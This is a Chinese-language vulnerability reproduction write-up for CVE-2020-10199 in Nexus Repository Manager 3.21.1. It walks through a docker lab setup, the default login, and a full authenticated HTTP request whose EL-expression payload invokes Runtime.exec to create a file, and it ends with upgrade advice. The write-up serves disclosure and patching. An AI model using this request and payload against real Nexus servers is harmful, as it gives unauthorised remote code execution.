一、漏洞概要
2020年03月31 日,Sonatype 官方發布安全公告,聲明修復了存在於 Nexus Repository Manager 3 中的遠程代碼執行漏洞 CVE-2020-10199。
Sonatype Nexus 是一個 Maven 的倉庫管理系統,它提供了強大的倉庫管理、構件搜索等功能,並且可以用來搭建 Maven 倉庫私服,在代理遠程倉庫的同時維護本地倉庫,以節省帶寬和時間。
在 Nexus Repository Manager OSS/Pro 3.21.1 及之前的版本中,由於某處功能安全處理不當,導致經過授權認證的攻擊者,可以在遠程通過構造惡意的 HTTP 請求,在服務端執行任意惡意代碼,獲取系統權限。
此漏洞的利用需要攻擊者具備任意類型的賬號權限。
二、漏洞影響
【危險等級】
高危
【影響版本】
Nexus Repository Manager OSS/Pro 3.x <= 3.21.1
三、漏洞復現
1、環境搭建
使用vulhub提供的漏洞環境(linux環境,安裝docker下,執行docker-compose up -d 命令啟動Nexus Repository Manager 3.21.1)
等待一段時間環境才能成功啟動,訪問http://your-ip:8081即可看到Web頁面。
該漏洞需要至少普通用戶身份,所以我們需要使用賬號密碼admin:admin登錄后台。
2、復現
登錄后,復制當前Cookie和CSRF Token,發送如下數據包,即可執行EL表達式:
POST /service/rest/beta/repositories/go/group HTTP/1.1
Host: 127.0.0.1:8081
Content-Length: 203
X-Requested-With: XMLHttpRequest
X-Nexus-UI: true
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
NX-ANTI-CSRF-TOKEN: 0.7886248393834028
Content-Type: application/json
Accept: */*
Origin: http://127.0.0.1:8081
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Referer: http://127.0.0.1:8081/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: NX-ANTI-CSRF-TOKEN=0.7886248393834028; NXSESSIONID=cedf848f-d881-4b58-ac24-9e9c3ece40bc
Connection: close
{
"name": "internal",
"online": true,
"storage": {
"blobStoreName": "default",
"strictContentTypeValidation": true
},
"group": {
"memberNames": ["$\\A{233*233*233}"]
}
}
(1)嘗試執行233*233*233,成功返回結果

(2)嘗試創建文件
$\\A{''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('touch /tmp/success')}

回到漏洞環境檢查,文件夾success創建成功

(3)dnslog測試

漏洞存在

POC參考:https://github.com/zhzyker/CVE-2020-10199_POC-EXP

四、漏洞修復
目前,官方已發布新版本修復了該漏洞,請受影響的用戶升級到安全版本。
下載地址:https://help.sonatype.com/repomanager3/download/
注:修復漏洞前請將資料備份,並進行充分測試。
